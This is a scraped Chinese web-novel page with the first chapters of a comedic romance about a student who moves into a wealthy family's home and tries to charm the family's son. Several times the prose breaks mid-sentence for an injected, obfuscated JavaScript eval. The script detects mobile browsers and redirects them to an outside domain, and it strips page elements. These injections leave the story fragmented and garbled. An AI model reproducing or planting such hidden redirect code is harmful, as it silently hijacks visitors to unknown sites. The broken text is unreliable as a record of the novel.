《哥哥开门,我是嫂子》 1. 第 1 章 六月初, 位于半岛的私人宴会厅热闹非凡。 今日小雨,入岛的柏油路比以往更拥堵,姗姗来迟的一位富商太太有些等不及。 季太太刚踏上台阶,探身看见厅内好友后眼眸骤然一亮,她招手示意自己到场,保养得当的面容上表情十分丰富。 见太太心急,门前两位负责接待的礼宾手上不敢有一丝懈怠,忙蹲下身帮忙规整裙尾。 十秒后,长裙拖尾的季太太才疾步入了厅。 “听说了吗?陈董最近在追求一个女人,好像是度假小镇考察认识的,还是个带了孩子的……!” 见环围过来的老友面容依旧,季太太怔了下,忙捂嘴惊呼:“你们也都知道了?真的假的?我还以为这八卦是我独一份呢。” “这么大的事,我们家那位早就给过我信儿了。” 出声的是另一位戴黑纱缠褶袖套的太太,她顿了会,随后声调又稍显刻薄道:“也不知道谁那么幸运被陈董看上了,下半辈子都不用愁了。” “消息准确吗?” “怎么可能不准,瞧瞧这阵仗——” 不远处,十几位应侍生穿梭在宾客身侧,礼貌地给太太先生们分发着香槟。 会厅中央,恢宏的假山喷泉隐在密绿的鲜切叶材中,织金墙纸前端,整排古董花瓶在射灯的照耀下夺目地吸引着视线,饶是不懂品相的外行人,也能看出来这里面哪一个都是价值连城的顶级藏品。 几位太太不禁唏嘘,忙收回视线低头细细琢磨起来。 陈妄山可不是热衷交际的那类商人,今生她们吃到他酒的次数,满打满算也就两次。 一次是他年轻时和病逝前妻的结婚典礼,还有一次则是含着金汤勺出生的陈小少爷的周岁宴。 相比之下,今天这日子选得不年不节的,要说没点正事谁信啊。 陈妄山亡妻过世已有十余年,虽然这十几年中这位知名的商业巨擘身边也有不少花边新闻出现,但他可从来没给过任何人这般排场。 这次明摆的是订婚宴…… 亦或者,两人没准已经私下领证了,以此宴席昭告亲朋好友一番。 季太太率先想清始末后回神,她八卦的视线环视一圈,忽地又疑惑出声:“我看这周围也都是熟脸,莫不是陈董把人藏到二楼了?” “也不能这么说,突然天降这么个钻石王老五,搁谁谁不得乐几天,没准那位正自己躲着庆祝呢。” 一语惊醒梦中人,众太太们纷纷附和。 “说的对,还有她带的那个女儿,两人可能正猫在哪个房间,笑得合不拢嘴呢!” …… 宴会二楼,房内。 姜如云和姜厘母女俩正抱头痛哭着。 这是半岛内视野最好的一间海景房,净透的落地窗外是专属于海洋的蓝调时刻。 中古风咖色岛台上摆着几盏造价不菲的烛台,淡奶色蜡烛正随着摇曳的海风悄悄燃着。 烛火幽暗,将母女俩相拥的身影映得更大。 姜厘靠在姜如云怀里,听她说完二十年前和爸爸的那场婚礼,红着眼吸了吸鼻子。 姜厘的爸爸是名建筑设计师,多年前在施工地跟进度时意外身亡了。 那时姜厘的妈妈也刚三十出头,她容貌雅丽,丧夫后却并未选择改嫁,而是独身一人在小镇开了家超市。 光阴飞逝。 一晃十年时间过去,眼看妈妈日渐劳累,她终于争气拿到了H大的保送名额。 本以为四年后就可以凭自己的能力让妈妈过上悠闲的日子,没想到生活会在这当口途生变故。 姜厘是在一周前发现陈妄山的存在的。 那日傍晚,她看见妈妈在超市门口神色焦急地说这些什么,而她对面则站了位身材高大的中年男人。 男人绅士地向她递上纸巾,身后停着的豪车尊贵奢华,底盘低得像头等待伏击的猛兽。 姜厘并不反对老妈恋爱,相反还很鼓励她找寻新的人生伙伴。 但今天她才知道,她们家和对方家的差距居然大到这种地步。 况且妈妈几分钟前还在触景生情,悲伤地跟她讲之前和爸爸婚礼上的事。她明明还没放下从前…… 姜厘眉梢紧锁,脸上的愁云越来越深。 她抬眸刚想试探地问些什么,休息室的软包门忽地从外推开。 身着旗袍的礼宾小姐款步走进来,恭敬地笑道:“姜女士,陈董说接风宴就要开始了,请您下去跟其他人见一面。” 姜厘下意识向身侧望去。 姜如云已经迅速调整好表情,回了她个安心的眼神,而后提着厚重裙摆朝门口走去,背影爽利。 “妈妈……” 礼宾小姐闻声,笑着看向她:“姜小姐不去吗?” “小厘还小,今天就不让她露面了。”姜如云回绝完又温柔地看向姜厘,“你乖乖呆在二楼,别乱跑。” 嘱咐完这一切,姜如云的背影才彻底消失在门口。 空气静谧。 窗外传来萧萧退潮声,软包门笨重厚实,大概是底部的消音棉条有些胀出,礼宾小姐走后还咧出一条半掌宽的门缝。 姜厘沉沉叹了口气,在原地顿了会,还是抬步向前,准备去把门关好。 女生手背纤薄,右手中指最外部的指节上包着张创可贴,里面盖着她近三年来写字磨出的厚茧。 大概是刚才碰了水的缘故,创可贴褐色的边缘翘了角。 姜厘抽空低头将翘角摁下去,手指握上门把手刚要推,忽然闻到一股浓艳的香水味。 走廊两位富商太太挎着精致奢包,边走边抬着小镜子摇曳生姿地补妆。 “要我说陈董也是个专情的,寻常他这种资产的男人,老婆去世后早就再娶了。” “这你就不懂了,男人到一定位置上,不娶可比娶舒服。没听说么,陈董丧妻后不知道换了多少秘书助理,还有不少经商的女强人公开承认喜欢他,这种环境下……你知道人家背后玩多花?” 说话的太太朝同伴抛了个暧昧的眼神,声线又放低了些:“不过,他不娶倒还有其他原因。” “什么原因?”同伴眼神好奇。 “怕后妈对儿子不好呗,陈家小少爷那个性,你懂的。” 谈笑声随着两人走远渐渐淡去,姜厘手中的门把手却迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002797|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟没关。 她惆怅地仰视着走廊墙面上的水晶壁灯,眼神忧郁复杂。 亲爱的妈妈,你是在跟一位养了只无敌霸王龙儿子的风流男人搞暧昧吗? 我要去翘老爸的棺材板了。 她倒想妈妈只是单纯图钱,这样她拆几颗吊灯上的镶金水晶裹怀里就能带她跑路了。 一楼的热烈掌声和司仪主持声只在二楼浮起小小的水花,姜厘退到房间忧愁了十几分钟,姜如云便推门走了进来。 她已换上一身好行动的休闲服装,看样子是快要散场了。 姜厘眸光亮起,还没来得及开心,又见姜如云身后走出一个她并不陌生的男性身影。 陈妄山的外形条件在中年男人中完全能称得上佼佼者,他身高约在185,面部轮廓立体冷硬,看着很有威压。 这是他们第一次见面,姜厘不免有些紧张。 她屏息,收回打量的目光,安静得乖巧。 “你是小厘吧,”陈妄山边开口边解开西装袖扣,弯腰看她的眼神出乎意料的柔和,“我和你爸爸是很好的朋友。” 姜厘瞳孔倏地放大,还没等她脑子转过弯,陈妄山就高效率地接过一边助理递来的文件,不疾不徐道:“听说你保送上H大了?乖孩子,叔叔和你爸爸妈妈是多年老友,你爸爸的事……叔叔很抱歉没去送他最后一程。” “如果不介意的话,叔叔想邀请你大学期间来我家暂住,期间一切费用我来负责。” 浅灰色文件夹中是一张A4纸,上面打印着女生在大学期间大致的开销预想。 姜厘匆匆扫了一眼,上面竟然还有她每个寒暑假去国外旅行的开销和每月换新的奢侈品预算…… “不用了叔叔——” “你妈妈接下来一段时间可能会很忙,我们要共同处理一些事情,但你不用担心,家里有位姓何的管家,你有任何问题可以直接找他。” ……什么叫“接下来一段时间可能会很忙”? 油然而出的慌乱感几乎要将姜厘吞没,她指尖攥紧,力求自己保持镇静,像个成年人一样和身前的男人对视:“……妈妈不跟我在一起吗?” “她要和我去Z省处理事情。” 一旁的姜如云接收到姜厘脆弱的目光后抿了抿唇,她刚要说什么,下一刻房内又鱼贯进了几名戴着墨镜的黑衣保镖。 为首的保镖向陈妄山颔首示意后,语气平稳道:“陈董,司机已经侯在宴厅外了,依照您之前的计划,现在就该动身了。” 姜厘猛地抬头看向妈妈,姜如云叹了口气,走上前安抚地摸了摸她头发:“正好这段时间你不用再回学校,在陈叔叔家好好休息一段时间,有事在手机上跟妈妈联系。” 姜厘张了张唇,目光在陈妄山和姜如云身上来回打量,想问什么都觉得不合时宜。 姜如云和姜厘对视片刻,似乎是觉得她已经接受了这般安排,正要一前一后跟陈妄山出去,忽地又看见身侧男人驻足在原地。 像是刚想起来什么,陈妄山踩住质感考究的暗漆色皮鞋,回头冲姜厘笑道:“对了,我儿子也在家,他叫陈屹泽。” “你可以叫他哥哥。” 2. 第 2 章 窗侧净透的银扇叶片像一簇簇初冬的雪粒混在翠色藤蔓中,窗下波涛依旧。 姜厘再回过神时,房内已经空无一人。 手机屏幕上还显示着她两分钟前收到的消息。 妈妈走后,姜厘考虑再三还是在微信上问出口。 她问妈妈:你喜欢陈叔叔吗? 姜如云回复她一串“……” 然后又发了一条:我只爱你爸。 姜厘盯着那一串疑似代表了妈妈无可奈何的省略号,神情微敛。 不爱却不得不跟随的女人,整装待发的黑衣保镖,男方只手撑天的经济条件,初到异地一掷千金设宴接风,多年老友…… 把今天发生的所有事情串联起来,居然汇总成了一套标准的中年风强取豪夺霸总文! ……番茄照进现实。 姜厘想到这段时间听到的风言风语,又回想起刚才陈妄山说的话,心中五味杂陈。 她没想到这种事会真的发生在她身上。 印象中妈妈是个很坚韧的人,怎么会妥协呢? 她唯一的软肋,应该就是她了吧。 陈妄山拿她威胁妈妈? 姜厘内心愤懑,眯了眯眼,想反抗却意识到自己势力单薄。 她只是一个普通的学生,即使入学H大顺利毕业后也不过是当个高级点的牛马。 与有着好几代家境积累的陈家天壤之别,顶多是入职陈妄山名下的企业后,定闹钟五分钟关一次电闸,顺带开水浇他的发财树。 唉…… 姜厘没一刻像现在这样痛恨自己无能。 她捏了捏没什么力气的拳,从松软的皮质沙发上站起身来。 何管家正是这时敲的房门,他轻叩两声后就耐心在门外候着,一直等到姜厘耗尽抵抗,慢吞吞过来开门才轻声出言:“姜小姐,打扰到您休息了吗?” 姜厘对这般恭敬的态度和称呼都深感不适,她张了张唇,还是硬着头皮忽略掉这股异样的感觉,轻轻摇了摇头。 何管家立即欣喜地笑了瞬:“那等我把少爷叫醒,我们就一起回陈家。” 少爷…… 想到刚才走廊那两位富商太太对这位陈家小少爷的描述,姜厘脸上的反感意味更重。 何管家正巧在这时转身,没发现姜厘的异样。 他穿得很像老派西式古堡里的管家,说是去找少爷但其实并没走多远,而是径直走到对面休息室门前,像方才那样轻叩了两下。 姜厘眼眸一闪,下意识将视线远离房门。 这种养尊处优下来的少爷脾气一般都算不上好,何况她的身份…… 姜厘不免有些紧张。 厚重的房门静滞数秒,何管家有些疑惑地推开门走进去,半分钟后才有些尴尬地替他打圆场。 “少爷好像已经先一步坐车离开了。” “他平时……不这样的。” 姜厘理解地朝他微笑,表示自己并不在意。 房门将将阖上,何管家蜷臂示意她先走,擦肩而过的瞬间,姜厘余光略过房内, 她望见休息室的真皮沙发上搭着条松松垮垮的黑色球衣。 忽略掉褶皱,上面刺绣的数字隐约像是“23” - 何管家对姜厘的照顾确实称得上是无微不至,从上车前的开车门,到回家后帮忙冲泡好的蜂蜜茶都让姜厘生出了一股晋级上流圈层的感觉。 但她并没有忘记自己现在的美好都是老妈在替她负重前行,以至于甜润的蜂蜜水都被她喝出几分苦意。 陈家地产很多,何管家受陈妄山委托,把她安排在了一贯常住的本家。 姜厘住得浑身不自在,刚要给妈妈打电话,手机就嗡嗡响起来。 来电的是她高中同学林可璇。 视频一接通,林可璇嬉皮笑脸的模样就堆满整个屏幕,女生蜷腿往沙发一靠,语调雀跃道:“厘厘,B市的生活感觉怎么样?玩得爽不爽?!” 姜厘出发前林可璇还羡慕了好一会,她只在很小的时候去过B市。 “别提了……”姜厘内心苦不堪言。 在接下来的半小时里,姜厘绘声绘色地向她讲述了自己的离奇遭遇。 林可璇听着听着,两眼逐渐放光。 “这金丝雀你妈当得明白吗?让我妈去!!” 姜厘:“……” “这不是件好事,”姜厘板着俏生生的脸蛋,怒而拍桌,“这是资本绑架劳动人民,剥夺普通群众生命自由权的丑恶行为!” 她还记得妈妈之前跟她约定好,保送名额确定后就和她一起去旅行的事。 现在别说旅行了,连面都不知道什么时候能再见到。 “都保送了,别再复习政治了……”林可璇语气怏怏,她细想了下事情始末,还是只能叹气,“你难受也没用厘厘,就像你说的陈家家大业大,我们没办法抗衡的。” 姜厘垂目,眸色渐渐变淡。 她沉吟片刻,又沉重迟缓地抬起头来,宽阔明亮的房间满满都是金钱堆积出来的高奢质感。 姜厘看着圆桌上刻着设计师名字的油润马克杯,看着不远处做工复杂的法式吊灯,看见什么都觉得妈妈命苦。 作为一个父亲早亡,从小和妈妈相依为命的纯正妈宝女,姜厘胸腔久久难以平静。 她迫切地意识到,她该为妈妈做点什么。 脑海中霎那闪过一个还不太熟悉的名字。 姜厘忽地抬眸:“可璇,你还有什么要问的吗?” “没有啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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推门的黑发男生比她高一头,脖颈绕着件银白色bose耳机,他上下打量了她一圈,随后支肘懒怠地撑着门框,目光稍显冷淡。 没吭声,任意挑了下眉,像在等她先开口。 一向清澈的眸染上混沌,姜厘与他目光相对的瞬间,忽地一怔。 陈屹泽比她想象中的……要好看太多了。 男生斜搭在门框上的紧实手臂顺着延伸到顿挫的腰线,身骨清绝高挑。 五官立体,唇薄而红,眼尾处的皮肤过分的薄,看着很无情,偏偏睫毛浓密,又叫人误认出几分深情。 ……老天,请再重复一遍,我现在的任务是要拿下这位尤物吗? 这哥长成这样,嫂子是那么好当的吗! 姜厘神情出现几丝裂缝。 没人愿意大晚上被叫出来像个物件观赏,陈屹泽有些烦了,唇懒懒地动了下,“您哪位?” “我是——” 黑发半遮住的眼皮恣意冷傲,姜厘和他对视三秒,嘴瓢得不由自主:“嫂子。” 哥哥开门,我是嫂子QAQ 陈屹泽:“……” 3. 第 3 章 初次见面,我爱你 不能怪姜厘,陈屹泽这种长相怎么没人跟她报备一声! 曾经校庆选主持人,姜厘报名要竞选时,林可璇对她的评价是:姿色可以,就是不太能豁的出去,脸皮儿薄。 此刻的姜厘反应过来,却想把自己刚才的脸皮直接上交给国家挡导弹。 她是怎么敢说出那两个字的。 姜厘吞了吞口水,眼珠微微颤了下,视线已经不敢再停留在对方身上,磨唇弱弱道:“不是,我的意思是……” 陈屹泽的脸已经全黑了。 先叫哥哥,再当嫂子。 牛逼。 男生狭长的眸微眯,唇角噙着丝冷笑,整张脸透露着风雨欲来的恐怖感。 姜厘眉梢紧了紧,没忍住悄悄将鞋尖往后挪了半寸,再抬起头时漆黑的眼珠写满了真诚:“对不起哥哥,我刚才脑子短路了,这是给你的——” 梅子水三个字还没说出口,超模哥已经硬梆梆甩上了门。 嘭的一声,巨响回荡在整个走廊。 姜厘被这声音震得炸毛,瞳仁颤抖,火速干了手中碍事的梅子汁,飞奔下楼。 一直逃窜到楼下厨房,她才站定缓过神。 陈屹泽刚刚的表现可以说是十分冷漠,好像她这般炸裂的发言也不能让他动容。 比想象中要难搞许多。 姜厘幽怨地抓了抓头发,又想起刚才自己的炸裂开场白。 她站在厨房凉润的橱柜前,盯着水槽不发一言。 直到过了两分钟,姜厘才慢慢将手中的马克杯洗干净归到原位。 静悄悄做完清洁,姜厘又拐到刚才的何管家休息室,轻轻敲了两下门。 何管家的休息室比一般人家里还大,里面单独隔了间给他做评书收藏的影碟厅。 这会已经落日,恐打扰到主顾休息,他并未扣耳机躲在影音室,而是捧着张报纸在沙发看得起劲。 听到敲门声后,何管家迅速起身开门,看见门外如霜打了茄子般蔫巴的姜厘,他目光转为怜惜,像是早有预料。 “碰壁了吗?刚才你走的急,没听我把话说完。” 姜厘理亏地垂睫,没一会又悄悄抬眸看向和蔼的管家先生。 何管家见状笑道:“不过也不是什么大事,就是和小少爷相处过程中的一点注意事项。” “少爷从小被养得娇惯,脾气有些不好,中学时有个女生跟他告白,被他拒绝后仍旧缠着他,后来被班上同学打小报告污蔑说早恋,最后老师罚他在楼下站了一礼拜。” “少爷怕晒,那次可是被折磨得不轻,之后他和异性相处就挑剔了许多。姜小姐……你最好别和他多接触,陈董特意交代了要好好照顾你,别跟少爷起冲突。” 姜厘心想这不是就是龟毛么。 娇气的小少爷因为一个没分寸的女生从此刻薄所有异性? 姜厘不理解,但仍眸中带笑,温声温气地追问道:“还有什么别的需要注意的吗?” “别的一些生活品质问题都是我们需要在意的,姜小姐只管在这住得舒心就好了。” 何管家布满褶皱的脸颊荡着两颗隐晦的梨涡,显然对姜厘这副不招惹的态度十分欣慰。 “谢谢您,我了解了。” 姜厘礼貌道谢后,出门却径直踏上了螺旋梯。 她噔噔噔,重新跑上楼。 这次她大概了解自己拿的是什么剧本了,这不就是林可璇之前经常看的霸道总裁追爱倔强坚韧女主的故事吗? 大概类似于女主不小心把咖啡撒在男主身上,男主不仅不生气还觉得这个女人好特别。 竟敢和他对着干,有意思。 很久没碰到过敢忤逆她的女人了。 “……” 她拿错剧本了,拿成绿茶女二的了。 姜厘努力掰正自己的打法,踩在软包楼梯上的脚步愈加轻快。 她大着胆子刚要敲门,突然想到些什么,又折回绕到公卫洗手台对着镜子练习了几遍“倔强坚韧的目光”才返至门口。 这下可以了。 姜厘神情严谨,蜷指刚要叩房门,楼下忽然传来一声张扬的轰鸣。 声音很大,像野兽咆哮一般饱有震慑感,姜厘下意识凑到走廊窗前,看见大串灰雾雾的尾气从始作俑者的车尾冒出。 随后三秒结束,那辆还没被看清的窑黑色迈凯伦就如开了挂般,远远消失在视野内。 一晃而过间,她没有看清车上人的表情,但单看后面紧追不舍的车的残影,姜厘已经能想象到陈屹泽有多不爽。 ……不爽就对了, 父债子偿。 计划还没开始就中断了,姜厘眉眼微抬,幼稚地朝陈屹泽远去的方向竖了个中指。 - 那天直到深夜,陈屹泽都没回来,他本来就是大学周末临时被叫回家参加接风宴,所以何管家也以为他是正常返校,没有多过问他的去留。 姜厘趁着陈屹泽不在的这段时间,规划了自己在保送后gap期的学习计划。 她已成年,报了驾照后还报了雅思,他们小镇是不流行考雅思的,但现在来到B市情况就不一样了。 姜厘购入一部分雅思书籍的同时,也做了计算机考级准备和大学科目预习。 H大并不像老家高中那样竞争压力小,在人才济济的高等学院只有努力爬到上游才能更上一层。 其实在确认保送的第二天她就已经报了驾照,但是现在居住地暂时转移,一时半会肯定回不去。 姜厘跟老家驾校老板好说歹说,最后对方扣了200元违约金,还是将其余学款返回了她的账户。 银行绑定的短信通知刚到账,姜厘忽地听见楼下玄关室传来趿拉的换鞋声。 陈家照顾日常起居的佣人一共有五位,除去陪陈妄山一起远赴外地的刘司机,家里还剩一位姓孙的保姆,以及做饭很好吃的吴妈,还有关司机和孙管家。 孙管家很注重家里的秩序,所以佣人们日常活动的声音都不会太大,就连清洗车辆、修建草坪这类有噪音发出的劳动行为都会事先问过主家每个人的意见,确认不会影响到任何一位才会施行。 拥有噪音发出权的陈妄山在外地,她跟妈妈今天上午通话时确认过这点。 所以,玄关处的掷鞋声,应该是…… 陈屹泽发出的。 姜厘眸色一闪,悄悄把房门咧了条缝。 她探头探脑地从门缝里斜窥,在看见陈屹泽确实上了楼后,逐渐深吸一口气,清丽的脸蛋浮出欣慰的笑。 姜厘的斗志又被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002799|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激发了出来。 这几天姜厘和何管家经常一起聊天,为了和他套近乎获取情报,她甚至研究了两晚有关评书的知识。 她以交流“共同爱好”为由,成功获取了何管家的信任,了解了很多陈屹泽的讯息。 比如这位少爷在H大附近有房,他性格虽然在姜厘看来很挑剔龟毛,但和同学相处的倒很愉快,平时经常和朋友一起打球聚餐旅行,回本宅的时间并不多。 大概时间何管家隐约提过一嘴。每月至少有四日的周末时间他是会回家拿取东西的,但每次呆的时间长短都不固定,有时放下东西就走了。 姜厘回忆到这里,咬唇,眼中划过考量。 如果是一个月只有四次见面的时间,她的攻势要更猛些了,妈妈还每日生活在水深火热中。 姜厘瞳仁微颤,而后松唇,表情逐渐坚定。 时针和分针重合指向六点,姜厘知道这是吴妈开饭的时间,她手艺高超,每次陈屹泽回来碰上饭点,往往都不会拒绝。 姜厘轻手轻脚地踱到餐厅。 一般就餐人数少的时候,吴妈会把碗碟放在可供转动的琉璃圆桌上。 晚餐规格六荤两素,外加一份汤和甜点。 为了避免浪费,每样菜的份额都很少。 陈屹泽今天穿了件很讲究的薄款黑毛衣,整个人身材展露得更张扬,眉眼优越倨傲。 在看见姜厘坐到他对面后,男生眸底明显掠过一丝反感,但想到陈妄山昨晚在电话里的威胁,他还是没吭声,轻轻啧了声,权当她是空气。 姜厘暂敛锋芒,跃跃欲试着。 相对而坐的两人周身形成一股诡异的寂静。 吴妈不懂两人的暗流涌动,她长得很容易让人感到亲近,双腮饱满紧实,泛着淡淡的红晕,看着很健康。 厨房岛台大大小小放着十四个碗碟,除去两小碗米饭外,汤和甜点都是分餐制。 张保姆也帮着摆菜上桌,吴妈乐呵呵地看向姜厘道:“今天炖了暖胃的南瓜排骨汤,姜小姐可不能像之前那样吃得那么少了。” 姜厘眼睛弯成月牙,淡笑着应了声好。 菜肴快要上齐,吴妈目光转向一边正百无聊赖地打发时间低头划手机的陈屹泽,把手中的白色凹形餐盘摆在上餐位,徐徐向他的位置转去。 “少爷,今天做的口水鸡是您上次给出意见的改良版,加了几滴柠檬汁,应该更清爽,您尝尝,再给我点意见。” 吴妈厨艺精湛一部分也归功于陈屹泽嘴挑。他小时候比现在更挑嘴,不吃绿色蔬菜,不吃根茎类食物,对肉类也极其讲究新鲜度。 从幼时起两人就约定俗成地一个尝菜点评提意见,一个乐此不疲地精进配方。 嫩白的鸡腿肉浇上辛辣料汁,配以墨绿色的藤椒颗粒和显目的鲜切柠檬片摆盘。 小少爷总算施施然把目光移上餐桌。 皓白凹形盘转到陈屹泽正前方停下。 男生青筋微拢的手背轻抬,握住手边的筷子,刚要慢条斯理夹起一块品尝, 下一秒,餐盘就以开了疾跑的速度飞转到姜厘面前—— 煞神的筷子顿在半空, 姜厘疯狂打转的手腕堪堪停下,看似弱不禁风的女生摁死了转桌,强势抢了所有存在感:“我来尝!” 4. 第 4 章 怎么说呢,姜厘一直以来给人的印象都是听话、清丽乖巧。 因为母亲的特殊身份,她在陈家一直安分守己,别说借机提什么不合理的要求,她甚至连正当的需求都不曾表露过。 但现在,我见犹怜的林黛玉摇身一变成了鲁智深,还当众跟人叫起了板。 餐厅传来良久的沉默。 侧边上菜的吴保姆和孙妈眼神震惊,两人对视一眼,同时停下手上动作,神情复杂地看向他们家叱咤风云二十年的少爷。 这可是他们千尊万贵的亲少爷啊!! 外面的风言风语,两位活了半辈子的老佣自然心里有数,可没想到就算尊贵如小少爷,也没逃过“有了后妈就有了后爹”的传统。 姜小姐今天确实怪怪的…… 姜厘在两位保姆诧异的视线下吃得津津有味,甚至摁着转桌面板的手指迟迟不撒,指尖已经用力到爆出青筋。 这餐桌是民国时淘来的旧古董,木材十分名贵,后来打了一块琉璃作配,才当了餐桌。 头顶的悬空吊灯发出暖黄淡光,把摆在精致桌面的饭菜映得更为可口。 陈屹泽面容幽静,盯着姜厘的视线漆黑深寂,像是要在她脸上钻出个洞,少爷什么话都没说,手上筷子啪地一声扔到桌上。 眼看一场谁也不敢得罪的战争就要打响,孙妈眼疾手快,给吴保姆递了个眼神让她去消毒柜重新拿筷子,然后忙用公筷把另一块方盘中的嫩小排夹到陈屹泽碗中: “少爷!您快尝尝牛排!这是今早刚从澳洲空运过来的,特别新鲜!” 餐桌那头的姜厘闻声,脑袋忙不迭昂起,她抬眸滴溜溜打量了几秒那块酱色牛排,而后考量片刻,飞速把碟中剩下的最后一块嫩排塞到自己口中。 手速快到闪出残影,像是手长了十几个分身。 孙妈:“……” 她中午的餐好像也是这个标准? 饶是吃过几次,但牛排鲜嫩的口感还是一如既往地捕获了姜厘的味蕾。 女生琥珀色淡眸微微一亮,眼底透出惊喜。 陈屹泽遥遥收回视线,目光转到孙妈脸上。 他忽地笑,乌眸鸦睫敛住暗眸,让人看不出情绪:“你们平时,不给她吃饭吗?” 孙妈额头顷刻间渗出几颗冷汗,表情苦恼:“冤枉……我们给了的。” 陈屹泽笑容更深,手肘往餐椅扶手一搭,高大身型彻底陷入餐椅中。 男生不疾不徐对上姜厘探过来的狐疑视线,皮笑肉不笑道: “下次别给了。” 姜厘:“……” — 民以食为天。 陈妄山不在,陈屹泽就是这个家最有话语权的人,他刚才那样可不像是随口说说。 姜厘惴惴不安地找孙管家询问此事,得到安心的答复后才松了口气。 孙管家笑着说她顾虑太深,说她的饮食起居都是陈董特意交代过的,陈董对她格外关照,小少爷刚才的话只是随便说说,吓她玩的。 有了陈妄山这块免罪金牌,姜厘底气大涨。 晚八点。 陈家新来的异姓姜小姐背着手张牙舞爪地在别墅里逛了两圈,最后停在了三层的露台花园。 三层有个二十几平的露台,被保姆打理得很雅致,姜厘也是昨天才发现这地方,但妈妈仍旧身处曹营,她可不是来赏花的。 她发现这间露台可以眺望到楼下的游泳池和篮球场,又从何管家那里听说了陈屹泽空闲时爱在篮球场投几下球。 露台西侧,宽大高耸的龟背竹遮住姜厘猫猫祟祟的身影。 在确认过篮球场路灯下的身影确实是陈屹泽后,姜厘火速下楼,装模作样地溜达到了篮球场外。 场地宽阔,陈屹泽正在投球。 他似乎没看见姜厘,半明半暗的光影中,少年额头箍着条惹眼的红色发带,发带箍着的黑发微微打湿,男生瞳孔和发色一般黝黑。 跳、投、跃、拨,举手投足游刃有余。 姜厘屏息静神,静悄悄蹲在一边看了十分钟,正考虑要不要去找个小马扎坐着等时,陈屹泽终于有了破绽—— 掷出的抛物线偏离轨道,棕黑色篮球砸在篮筐上,随后朝场外飞速弹射而去。 姜厘看着离自己八丈远的篮球,硬是左嘘嘘右嘘嘘,迈着碎步,抬脚把篮球“不小心”踢到了游泳池里。 一阵悠风吹过……篮球惬意地在泳池上打着转,水面荡起阵阵涟漪。 姜厘心虚地摸摸鼻子,边装柔弱说“哥哥抱歉”,边打量着陈屹泽的神色。 这还不能引起你的注意吗! 我踢你球欸! 去踏马的从你的全世界路过,她要在陈屹泽的全世界里横冲直撞,看他还能不能把她当空气! 就在姜厘以为陈屹泽会揪着她领子说一句“女人你成功引起了我的注意”时,男生忽地笑了。 陈屹泽笑得春风荡漾,从姜厘房间拿出行李箱,径直丢到门外。 整套动作没有丝毫拖泥带水。 可怜巴巴的行李轮子被砸掉了一颗,圆滚滚地砸到她鞋前的软草坪上。 !! 姜厘瞳孔骤缩,她顾不了那么多,只得死死抱住快要阖住的半扇门,她低头望着被扔到地上,磕掉一角的行李箱,下意识语气加重:“陈屹泽……!” 陈屹泽神色不改,不疾不徐地朝她又压了几分,嗓音这会反倒亲密起来:“怎么不叫哥哥了?” 姜厘脸上掠过一丝尴尬,正要不知要怎么辩解,何管家就披着外套匆匆赶来。 何管家看见这俩祖宗斗法,吓得魂都快掉了:“少爷!不能这么对姜小姐!” 何管家已经到了,玄关处压着要关的门却照旧力度不减,姜厘死死抱着门框不撒手,从仅留的门缝中窥见陈屹泽不良善的那面。 他眉轻挑,看样子还有点想加力。 何管家彻底慌了:“少爷,陈董说了姜小姐是客人!” “那就让她客死他乡。” “……” 眼看事情快到了无法挽回的地步,姜厘垂眸,想到自己的使命,神情闪过万千挣扎,“哥哥……” 你再不松手,我就向你手吐口水了! 姜厘不再死死抱着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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距离他考驾照已经是几十年前的事了,何管家说完从上衣口袋掏出小笔记本和钢笔,“不过我可以帮你打听,驾校有什么具体要求吗?” “最好能收费低些。” 何钟等了好一阵也没等到第二个要求,于是收了钢笔,承诺最晚明天就给她结果。 又坐了三四分钟,何管家为陈屹泽说完好话后,起身打开衣柜慢慢从柜体下层推出个崭新的行李箱。 箱子握柄刻着熟悉的奢侈品logo,外层绒布细腻光滑,他和事佬般宽慰道:“家里还有几个备用箱子,姜小姐你先凑合用吧。” 原本的行李箱滑轮已经掉了一个,姜厘想着到时候跑路便利,也没有客气,很快接过了何钟手里的箱子。 她刚要道谢离开这间小型的会客厅,走到房门口,忽然被叫住。 何管家脸色漫出尴尬,有些为难地看着她,言语十分委婉:“姜小姐,我想你和少爷以后或许可以分餐厅就餐。” 姜厘佯装不懂,眨巴了下眼,表情疑惑,“为什么?” “他有甲肝吗?” 5. 第 5 章 [我喜欢你。] 何钟, 一个有着二十年工作经验的金牌绅士管家,在今天,第一次失去了表情管理的能力。 